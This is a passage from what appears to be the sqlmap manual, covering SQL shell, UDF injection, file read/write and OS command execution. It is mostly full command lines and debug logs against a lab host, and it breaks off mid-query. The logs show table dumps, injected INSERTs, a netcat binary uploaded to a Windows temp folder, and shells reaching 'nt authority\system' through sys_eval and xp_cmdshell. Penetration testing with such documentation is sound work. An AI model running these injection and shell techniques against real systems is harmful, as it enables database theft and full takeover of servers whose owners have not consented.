table_schema=CHAR(116,101,115,116)
[hh:mm:48] [INFO] retrieved: 3
[hh:mm:48] [DEBUG] performed 13 queries in 0 seconds
[hh:mm:48] [DEBUG] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM
information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
table_schema=CHAR(116,101,115,116) LIMIT 0, 1
[hh:mm:48] [INFO] retrieved: id
[hh:mm:48] [DEBUG] performed 20 queries in 0 seconds
[hh:mm:48] [DEBUG] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM
information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
table_schema=CHAR(116,101,115,116) LIMIT 1, 1
[hh:mm:48] [INFO] retrieved: name
[hh:mm:48] [DEBUG] performed 34 queries in 0 seconds
[hh:mm:48] [DEBUG] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM
information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
table_schema=CHAR(116,101,115,116) LIMIT 2, 1
[hh:mm:48] [INFO] retrieved: surname
[hh:mm:48] [DEBUG] performed 55 queries in 0 seconds
[hh:mm:48] [INFO] the query with column names is: SELECT id, name, surname FROM test.users
[hh:mm:48] [INPUT] can the SQL query provided return multiple entries? [Y/n] y
[hh:mm:04] [DEBUG] query: SELECT IFNULL(CAST(COUNT(id) AS CHAR(10000)), CHAR(32)) FROM
test.users
[hh:mm:04] [INFO] retrieved: 5
[hh:mm:04] [DEBUG] performed 13 queries in 0 seconds
[hh:mm:04] [INPUT] the SQL query that you provide can return up to 5 entries. How many
entries
```

```
do you want to retrieve?
[a] All (default)
[#] Specific number
[q] Quit
Choice: 3
[hh:mm:09] [INFO] sqlmap is now going to retrieve the first 3 query output entries
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 0, 1
[hh:mm:09] [INFO] retrieved: 1
[hh:mm:09] [DEBUG] performed 13 queries in 0 seconds
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 0, 1
[hh:mm:09] [INFO] retrieved: luther
[hh:mm:09] [DEBUG] performed 48 queries in 0 seconds
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM
test.users ORDER BY id ASC LIMIT 0, 1
[hh:mm:09] [INFO] retrieved: blissett
[hh:mm:09] [DEBUG] performed 62 queries in 0 seconds
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 1, 1
[hh:mm:09] [INFO] retrieved: 2
[hh:mm:09] [DEBUG] performed 13 queries in 0 seconds
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 1, 1
[hh:mm:09] [INFO] retrieved: fluffy
[hh:mm:09] [DEBUG] performed 48 queries in 0 seconds
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM
test.users ORDER BY id ASC LIMIT 1, 1
[hh:mm:09] [INFO] retrieved: bunny
[hh:mm:09] [DEBUG] performed 41 queries in 0 seconds
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 2, 1
[hh:mm:09] [INFO] retrieved: 3
[hh:mm:09] [DEBUG] performed 13 queries in 0 seconds
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 2, 1
[hh:mm:09] [INFO] retrieved: wu
[hh:mm:09] [DEBUG] performed 20 queries in 0 seconds
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM
test.users ORDER BY id ASC LIMIT 2, 1
[hh:mm:09] [INFO] retrieved: ming
[hh:mm:10] [DEBUG] performed 34 queries in 0 seconds
SELECT * FROM test.users [3]:
[*] 1, luther, blissett
[*] 2, fluffy, bunny
[*] 3, wu, ming
```

As you can see from the example, if the SELECT statement has an asterisk instead of the column(s) name, sqlmap first retrieves all column names of the current table, asks if the query can return multiple entries and goes on.

Example of SQL statement other than SELECT on a **PostgreSQL 8.3.5** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 1
```

```
[...]
back-end DBMS: PostgreSQL

[10:hh:mm] [INFO] calling PostgreSQL shell. To quit type 'x' or 'q' and press ENTER
sql> SELECT COUNT(name) FROM users
[hh:mm:57] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(name) FROM users'
[hh:mm:57] [INPUT] can the SQL query provided return multiple entries? [Y/n] n
[hh:mm:59] [INFO] retrieved: 4
SELECT COUNT(name) FROM users:    '4'

sql> INSERT INTO users (id, name, surname) VALUES (5, 'from', 'sql shell');
[hh:mm:35] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:40] [INFO] the web application supports stacked queries on parameter 'id'
[hh:mm:40] [INFO] executing SQL data manipulation query: 'INSERT INTO users
(id, name, surname) VALUES (5, 'from', 'sql shell');'
[hh:mm:40] [INFO] done
sql> SELECT COUNT(name) FROM users
[hh:mm:51] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(name) FROM users'
[hh:mm:51] [INPUT] can the SQL query provided return multiple entries? [Y/n] n
[hh:mm:53] [INFO] retrieved: 5
SELECT COUNT(name) FROM users:    '5'
```

As you can see from the example, when the user provides a SQL statement other than `SELECT`, sqlmap recognizes it, tests if the web application supports stacked queries and in case it does, it executes the provided SQL statement in a multiple statement mode.

Beware that some web application technologies do not support stacked queries on specific database management systems. For instance, PHP does not support stacked queries when the back-end DBMS is MySQL, but it does support when the back-end DBMS is PostgreSQL.

5.8 User-defined function injection

5.8.1 Inject custom user-defined functions (UDF)

Options: `--udf-inject` and `--shared-lib`

You can inject your own user-defined functions (UDFs) by compiling a MySQL or PostgreSQL shared library, DLL for Windows and shared object for Linux/Unix, then provide sqlmap with the path where the shared library is stored locally on your machine. sqlmap will then ask you some questions, upload the shared library on the database server file system, create the user-defined function(s) from it and, depending on your options, execute them. When you are finished using the injected UDFs, sqlmap can also remove them from the database for you.

Example on a **PostgreSQL 8.4**:

```
$ python sqlmap.py -u http://172.16.213.131/sqlmap/pgsql/get_int8.4.php?id=1 --udf-inject -v 0

[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL

which is the local path of the shared library? udf/postgresql/linux/8.4/lib_postgresqludf_sys.so
how many user-defined functions do you want to create from the shared library? 1
what is the name of the UDF number 1? sys_eval
how many input parameters takes UDF 'sys_eval'? (default: 1)
```

```
what is the data-type of input parameter number 1? (default: text)
what is the data-type of the return value? (default: text)
do you want to call your injected user-defined functions now? [Y/n/q] y
which UDF do you want to call?
[1] sys_eval
[q] Quit
> 1
what is the value of the parameter number 1 (data-type: text)? echo test
do you want to retrieve the return value of the UDF? [Y/n]
return value:    'test'

do you want to call this or another injected UDF? [Y/n] n
do you want to remove UDF 'sys_eval'? [Y/n]
[12:00:10] [WARNING] remember that UDF shared object files saved on the file system can only
be deleted manually
```

If you want, you can specify the shared library local file system path via command line using `--shared-lib` option.

5.9 File system access

5.9.1 Read a file from the database server's file system

Option: `--read-file`

It is possible to retrieve the content of files from the underlying file system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. The file specified can be either a text or a binary file. sqlmap will handle it automatically.

These techniques are detailed in the white paper Advanced SQL injection to operating system full control .

Example on a **PostgreSQL 8.3.5** target to retrieve a text file:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.aspx?id=1" \
  --read-file "C:\example.txt" -v 2

[...]
[hh:mm:53] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: PostgreSQL

[hh:mm:53] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:53] [INFO] detecting back-end DBMS version from its banner
[hh:mm:53] [DEBUG] query: COALESCE(CAST(SUBSTR((VERSION())::text, 12, 6) AS CHARACTER(10000)),
CHR(32))
[hh:mm:53] [INFO] retrieved: 8.3.5,
[hh:mm:58] [DEBUG] performed 49 queries in 4 seconds
[hh:mm:58] [DEBUG] query: SELECT PG_SLEEP(5)
[hh:mm:03] [INFO] the web application supports stacked queries on parameter 'id'
[hh:mm:03] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:03] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:03] [DEBUG] query: CREATE TABLE sqlmapfile(data character(500))
[hh:mm:03] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (VERSION())
```

```
[hh:mm:03] [DEBUG] query: SELECT (CASE WHEN ((SELECT LENGTH(data) FROM sqlmapfile WHERE data
LIKE CHR(37)||CHR(32)||CHR(86)||CHR(105)||CHR(115)||CHR(117)||CHR(97)||CHR(108)||CHR(32)||
CHR(67)||CHR(43)||CHR(43)||CHR(37))>0) THEN 1 ELSE 0 END)
[hh:mm:03] [INFO] retrieved: 1
[hh:mm:03] [DEBUG] performed 5 queries in 0 seconds
[hh:mm:03] [INFO] the back-end DBMS operating system is Windows
[hh:mm:03] [DEBUG] cleaning up the database management system
[hh:mm:03] [DEBUG] removing support tables
[hh:mm:04] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:04] [DEBUG] going to read the file with stacked query SQL injection technique
[hh:mm:04] [WARNING] binary file read on PostgreSQL is not yet supported, if the requested file
is binary, its content will not be retrieved
[hh:mm:04] [INFO] fetching file: 'C:/example.txt'
[hh:mm:04] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:04] [DEBUG] query: CREATE TABLE sqlmapfile(data bytea)
[hh:mm:04] [DEBUG] loading the content of file 'C:/example.txt' into support table
[hh:mm:04] [DEBUG] query: COPY sqlmapfile(data) FROM 'C:/example.txt'
[hh:mm:04] [DEBUG] query: SELECT COALESCE(CAST(COUNT(data) AS CHARACTER(10000)), CHR(32)) FROM
sqlmapfile
[hh:mm:04] [INFO] retrieved: 1
[hh:mm:04] [DEBUG] performed 6 queries in 0 seconds
[hh:mm:04] [DEBUG] query: SELECT COALESCE(CAST(ENCODE(data, CHR(98)||CHR(97)||CHR(115)||CHR(101)
||CHR(54)||CHR(52)) AS CHARACTER(10000)), CHR(32)) FROM sqlmapfile OFFSET 0 LIMIT 1
[hh:mm:04] [INFO] retrieved: VGhpcyBpcyBhIHRleHQgZmlsZQ==
[hh:mm:22] [DEBUG] performed 203 queries in 18 seconds
[hh:mm:22] [DEBUG] cleaning up the database management system
[hh:mm:22] [DEBUG] removing support tables
[hh:mm:22] [DEBUG] query: DROP TABLE sqlmapfile
C:/example.txt file saved to:    '/home/inquis/sqlmap/output/172.16.213.131/files/C__example.txt'

[hh:mm:22] [INFO] Fetched data logged to text files under '/home/inquis/sqlmap/output/172.16.213.131'

$ cat output/172.16.213.131/files/C__example.txt
This is a text file
```

Example on a **Microsoft SQL Server 2005 Service Pack 0** target to retrieve a binary file:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/iis/get_str2.asp?name=luther" \
  --read-file "C:\example.exe" --union-use -v 1

[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:49] [INFO] testing inband sql injection on parameter 'name' with NULL bruteforcing
technique
[hh:mm:49] [INFO] confirming full inband sql injection on parameter 'name'
[hh:mm:49] [WARNING] the target url is not affected by an exploitable full inband sql
injection vulnerability
[hh:mm:49] [INFO] confirming partial (single entry) inband sql injection on parameter
'name' by appending a false condition after the parameter value
[hh:mm:49] [INFO] the target url is affected by an exploitable partial (single entry)
inband sql injection vulnerability
```

```
valid union:    'http://172.16.213.131/sqlmap/mssql/iis/get_str2.asp?name=luther' UNION
ALL SELECT NULL, NULL, NULL-- AND 'sjOfJ'='sjOfJ'

[hh:mm:49] [INFO] testing stacked queries support on parameter 'name'
[hh:mm:54] [INFO] the web application supports stacked queries on parameter 'name'
[hh:mm:54] [INFO] fetching file: 'C:/example.exe'
[hh:mm:54] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:    '/home/inquis/sqlmap/output/172.16.213.131/files/
C__example.exe'

[hh:mm:54] [INFO] Fetched data logged to text files under '/home/inquis/sqlmap/output/
172.16.213.131'

$ ls -l output/172.16.213.131/files/C__example.exe
-rw-r--r-- 1 inquis inquis 2560 2009-MM-DD hh:mm output/172.16.213.131/files/C__example.exe

$ file output/172.16.213.131/files/C__example.exe
output/172.16.213.131/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
```

5.9.2 Write a local file on the database server's file system

Options: `--write-file` and `--dest-file`

It is possible to upload a local file to the database server file system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. The file specified can be either a text or a binary file. sqlmap will handle it automatically.

These techniques are detailed in the white paper Advanced SQL injection to operating system full control .

Example on a **MySQL 5.0.67** target to upload a binary UPX-compressed file:

```
$ file /tmp/nc.exe.packed
/tmp/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit

$ ls -l /tmp/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /tmp/nc.exe.packed

$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.aspx?id=1" --write-file \
  "/tmp/nc.exe.packed" --dest-file "C:\WINDOWS\Temp\nc.exe" -v 1

[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0

[hh:mm:29] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:29] [INFO] detecting back-end DBMS version from its banner
[hh:mm:29] [INFO] retrieved: 5.0.67
[hh:mm:36] [INFO] the web application supports stacked queries on parameter 'id'
[hh:mm:36] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:36] [INFO] retrieved: C
[hh:mm:36] [INFO] the back-end DBMS operating system is Windows
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully
written on the back-end DBMS file system? [Y/n] y
```

```
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes,
same size as the local file '/tmp/nc.exe.packed'
```

Example on a **PostgreSQL 8.4** target to upload a text file:

```
$ python sqlmap.py -u http://172.16.213.131/sqlmap/pgsql/get_int8.4.php?id=1 \
  --write-file /etc/passwd --dest-file /tmp/writtenfrompgsql -v 1

[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL

[hh:mm:01] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:01] [INFO] detecting back-end DBMS version from its banner
[hh:mm:01] [INFO] retrieved: 8.4.2
[hh:mm:07] [INFO] the web application supports stacked queries on parameter 'id'
[hh:mm:07] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:07] [INFO] retrieved: 0
[hh:mm:07] [INFO] retrieved: 0
[hh:mm:07] [INFO] the back-end DBMS operating system is Linux
do you want confirmation that the file '/tmp/writtenfrompgsql' has been successfully
written on the back-end DBMS file system? [Y/n]
[hh:mm:14] [INFO] retrieved: 2264
[hh:mm:14] [INFO] the file has been successfully written and its size is 2264 bytes,
same size as the local file '/etc/passwd'
```

5.10 Operating system access

5.10.1 Execute arbitrary operating system command

Options: `--os-cmd` and `--os-shell`

It is possible to execute arbitrary commands on the underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.

On MySQL and PostgreSQL, sqlmap uploads (via the file upload functionality explained above) a shared library (binary file) containing two user-defined functions, `sys_exec()` and `sys_eval()`, then it creates these two functions on the database and call one of them to execute the specified command, depending on the user's choice to display the standard output or not. On Microsoft SQL Server, sqlmap abuses the `xp_cmshell` stored procedure: if it's disabled, sqlmap re-enables it; if it does not exist, sqlmap creates it from scratch.

If the user wants to retrieve the command standard output, sqlmap will use one of the enumeration SQL injection techniques (blind or inband) to retrieve it or, in case of stacked query SQL injection technique, sqlmap will execute the command without returning anything to the user.

These techniques are detailed in the white paper Advanced SQL injection to operating system full control .

It is possible to specify a single command to be executed with the `--os-cmd` option.

Example on a **PostgreSQL 8.3.5** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.aspx?id=1" \
  --os-cmd "whoami" -v 1
```

```
[...]
[hh:mm:05] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: PostgreSQL

[hh:mm:05] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:05] [INFO] detecting back-end DBMS version from its banner
[hh:mm:05] [INFO] retrieved: 8.3.5,
[hh:mm:15] [INFO] the web application supports stacked queries on parameter 'id'
[hh:mm:15] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:15] [INFO] retrieved: 1
[hh:mm:16] [INFO] the back-end DBMS operating system is Windows
[hh:mm:16] [INFO] testing if current user is DBA
[hh:mm:16] [INFO] retrieved: 1
[hh:mm:16] [INFO] checking if sys_exec UDF already exist
[hh:mm:16] [INFO] retrieved: 0
[hh:mm:18] [INFO] checking if sys_eval UDF already exist
[hh:mm:18] [INFO] retrieved: 0
[hh:mm:20] [INFO] creating sys_exec UDF from the binary UDF file
[hh:mm:20] [INFO] creating sys_eval UDF from the binary UDF file
do you want to retrieve the command standard output? [Y/n]
[hh:mm:35] [INFO] retrieved: w2k3dev\postgres
command standard output:    'w2k3dev\postgres'
```

Example on a **Microsoft SQL Server 2005 Service Pack 0** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/iis/get_str2.asp?name=luther" \
  --os-cmd "whoami" --union-use -v 1

[...]
[hh:mm:58] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:58] [INFO] testing inband sql injection on parameter 'name' with NULL bruteforcing
technique
[hh:mm:58] [INFO] confirming full inband sql injection on parameter 'name'
[hh:mm:58] [WARNING] the target url is not affected by an exploitable full inband sql
injection vulnerability
[hh:mm:58] [INFO] confirming partial (single entry) inband sql injection on parameter 'name'
by appending a false condition after the parameter value
[hh:mm:58] [INFO] the target url is affected by an exploitable partial (single entry) inband
sql injection vulnerability
valid union:    'http://172.16.213.131/sqlmap/mssql/iis/get_str2.asp?name=luther' UNION
ALL SELECT NULL, NULL, NULL-- AND 'SonLv'='SonLv'

[hh:mm:58] [INFO] testing stacked queries support on parameter 'name'
[hh:mm:03] [INFO] the web application supports stacked queries on parameter 'name'
[hh:mm:03] [INFO] testing if current user is DBA
[hh:mm:03] [INFO] checking if xp_cmdshell extended procedure is available, wait..
[hh:mm:09] [INFO] xp_cmdshell extended procedure is available
do you want to retrieve the command standard output? [Y/n]
[hh:mm:11] [INFO] the SQL query provided returns 1 entries
```

```
command standard output:
---
nt authority\network service
---
```

It is also possible to simulate a real shell where you can type as many arbitrary commands as you wish. The option is `--os-shell` and has the same TAB completion and history functionalities like `--sql-shell`.

Example on a **MySQL 5.0.67** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.aspx?id=1" \
  --os-shell -v 2

[...]
[hh:mm:36] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0

[hh:mm:36] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:36] [INFO] detecting back-end DBMS version from its banner
[hh:mm:36] [DEBUG] query: IFNULL(CAST(MID((VERSION()), 1, 6) AS CHAR(10000)), CHAR(32))
[hh:mm:36] [INFO] retrieved: 5.0.67
[hh:mm:37] [DEBUG] performed 49 queries in 1 seconds
[hh:mm:37] [DEBUG] query: SELECT SLEEP(5)
[hh:mm:42] [INFO] the web application supports stacked queries on parameter 'id'
[hh:mm:42] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:42] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:42] [DEBUG] query: CREATE TABLE sqlmapfile(data text)
[hh:mm:42] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (VERSION())
[hh:mm:42] [DEBUG] query: SELECT IFNULL(CAST(MID(@@datadir, 1, 1) AS CHAR(10000)), CHAR(32))
[hh:mm:42] [INFO] retrieved: C
[hh:mm:42] [DEBUG] performed 14 queries in 0 seconds
[hh:mm:42] [INFO] the back-end DBMS operating system is Windows
[hh:mm:42] [DEBUG] cleaning up the database management system
[hh:mm:42] [DEBUG] removing support tables
[hh:mm:42] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:42] [INFO] testing if current user is DBA
[hh:mm:42] [DEBUG] query: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=
(SUBSTRING_INDEX(CURRENT_USER(), CHAR(64), 1)) LIMIT 0, 1)=CHAR(89)) THEN 1 ELSE 0 END)
[hh:mm:42] [INFO] retrieved: 1
[hh:mm:43] [DEBUG] performed 5 queries in 0 seconds
[hh:mm:43] [INFO] checking if sys_exec UDF already exist
[hh:mm:43] [DEBUG] query: SELECT (CASE WHEN ((SELECT name FROM mysql.func WHERE name=
CHAR(115,121,115,95,101,120,101,99) LIMIT 0, 1)=CHAR(115,121,115,95,101,120,101,99))
THEN 1 ELSE 0 END)
[hh:mm:43] [INFO] retrieved: 0
[hh:mm:43] [DEBUG] performed 14 queries in 0 seconds
[hh:mm:43] [INFO] checking if sys_eval UDF already exist
[hh:mm:43] [DEBUG] query: SELECT (CASE WHEN ((SELECT name FROM mysql.func WHERE name=
CHAR(115,121,115,95,101,118,97,108) LIMIT 0, 1)=CHAR(115,121,115,95,101,118,97,108))
THEN 1 ELSE 0 END)
[hh:mm:43] [INFO] retrieved: 0
[hh:mm:43] [DEBUG] performed 14 queries in 0 seconds
[hh:mm:43] [DEBUG] going to upload the binary file with stacked query SQL injection technique
```

```
[hh:mm:43] [DEBUG] creating a support table to write the hexadecimal encoded file to
[hh:mm:43] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:43] [DEBUG] query: CREATE TABLE sqlmapfile(data longblob)
[hh:mm:43] [DEBUG] encoding file to its hexadecimal string value
[hh:mm:43] [DEBUG] forging SQL statements to write the hexadecimal encoded file to the
support table
[hh:mm:43] [DEBUG] inserting the hexadecimal encoded file to the support table
[hh:mm:43] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (0x4d5a90 [...])
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x000000 [...])
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0xffcbff [...])
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x490068 [...])
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x1c5485 [...])
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x14cc63 [...])
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x207665 [...])
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x5c5379 [...])
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x0e5bc2 [...])
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x505357 [...])
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x000000 [...])
[hh:mm:44] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x696372 [...])
[hh:mm:44] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0xdd8400 [...])
[hh:mm:44] [DEBUG] exporting the binary file content to file './libsqlmapudftxxgk.dll'
[hh:mm:44] [DEBUG] query: SELECT data FROM sqlmapfile INTO DUMPFILE './libsqlmapudftxxgk.dll'
[hh:mm:44] [DEBUG] cleaning up the database management system
[hh:mm:44] [DEBUG] removing support tables
[hh:mm:44] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:44] [INFO] creating sys_exec UDF from the binary UDF file
[hh:mm:44] [DEBUG] query: DROP FUNCTION sys_exec
[hh:mm:44] [DEBUG] query: CREATE FUNCTION sys_exec RETURNS int SONAME 'libsqlmapudftxxgk.dll'
[hh:mm:44] [INFO] creating sys_eval UDF from the binary UDF file
[hh:mm:44] [DEBUG] query: DROP FUNCTION sys_eval
[hh:mm:44] [DEBUG] query: CREATE FUNCTION sys_eval RETURNS string SONAME
'libsqlmapudftxxgk.dll'
[hh:mm:44] [DEBUG] creating a support table to write commands standard output to
[hh:mm:44] [DEBUG] query: DROP TABLE sqlmapoutput
[hh:mm:44] [DEBUG] query: CREATE TABLE sqlmapoutput(data longtext)
[hh:mm:44] [INFO] going to use injected sys_eval and sys_exec user-defined functions for
operating system command execution
[hh:mm:44] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n]
[hh:mm:41] [DEBUG] query: INSERT INTO sqlmapoutput(data) VALUES (sys_eval('whoami'))
[hh:mm:41] [DEBUG] query: SELECT IFNULL(CAST(data AS CHAR(10000)), CHAR(32)) FROM
sqlmapoutput
[hh:mm:41] [INFO] retrieved: nt authority\system
[hh:mm:44] [DEBUG] performed 140 queries in 2 seconds
[hh:mm:44] [DEBUG] query: DELETE FROM sqlmapoutput
command standard output:    'nt authority\system'

os-shell> [TAB TAB]
copy         del          dir          echo         md           mem          move
net          netstat -na  ver          whoami       xcopy

os-shell> exit
[hh:mm:51] [INFO] cleaning up the database management system
[hh:mm:51] [DEBUG] removing support tables
```

```
[hh:mm:51] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:51] [DEBUG] query: DROP TABLE sqlmapoutput
do you want to remove sys_exec UDF? [Y/n] n
do you want to remove sys_eval UDF? [Y/n] n
[hh:mm:04] [INFO] database management system cleanup finished
[hh:mm:04] [WARNING] remember that UDF dynamic-link library files saved on the file system
can only be deleted manually
```

Now run it again, but specifying the `--union-use` to retrieve the command standard output quicker, via UNION based SQL injection, when the parameter is affected also by inband SQL injection vulnerability:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.aspx?id=1" \
  --os-shell -v 2 --union-use

[...]
[hh:mm:16] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0

[hh:mm:16] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
technique
[hh:mm:16] [INFO] confirming full inband sql injection on parameter 'id'
[hh:mm:16] [INFO] the target url is affected by an exploitable full inband sql injection
vulnerability
valid union:    'http://172.16.213.131/sqlmap/mysql/iis/get_int.aspx?id=1 UNION ALL SELECT
NULL, NULL, NULL# AND 528=528'

[hh:mm:16] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:16] [INFO] detecting back-end DBMS version from its banner
[hh:mm:16] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),
MID((VERSION()), 1, 6),CHAR(117,114,115,75,117,102)), NULL# AND 3173=3173
[hh:mm:16] [DEBUG] performed 1 queries in 0 seconds
[hh:mm:16] [DEBUG] query: SELECT SLEEP(5)
[hh:mm:21] [INFO] the web application supports stacked queries on parameter 'id'
[hh:mm:21] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:21] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:21] [DEBUG] query: CREATE TABLE sqlmapfile(data text)
[hh:mm:21] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (VERSION())
[hh:mm:21] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),
MID(@@datadir, 1, 1),CHAR(117,114,115,75,117,102)), NULL# AND 6574=6574
[hh:mm:21] [DEBUG] performed 1 queries in 0 seconds
[hh:mm:21] [INFO] the back-end DBMS operating system is Windows
[hh:mm:21] [DEBUG] cleaning up the database management system
[hh:mm:21] [DEBUG] removing support tables
[hh:mm:21] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:21] [INFO] testing if current user is DBA
[hh:mm:21] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),(CASE
WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), CHAR(64),
1)) LIMIT 0, 1)=CHAR(89)) THEN 1 ELSE 0 END),CHAR(117,114,115,75,117,102)), NULL# AND 19=19
[hh:mm:21] [DEBUG] performed 1 queries in 0 seconds
[hh:mm:21] [INFO] checking if sys_exec UDF already exist
[hh:mm:21] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),(CASE WHEN
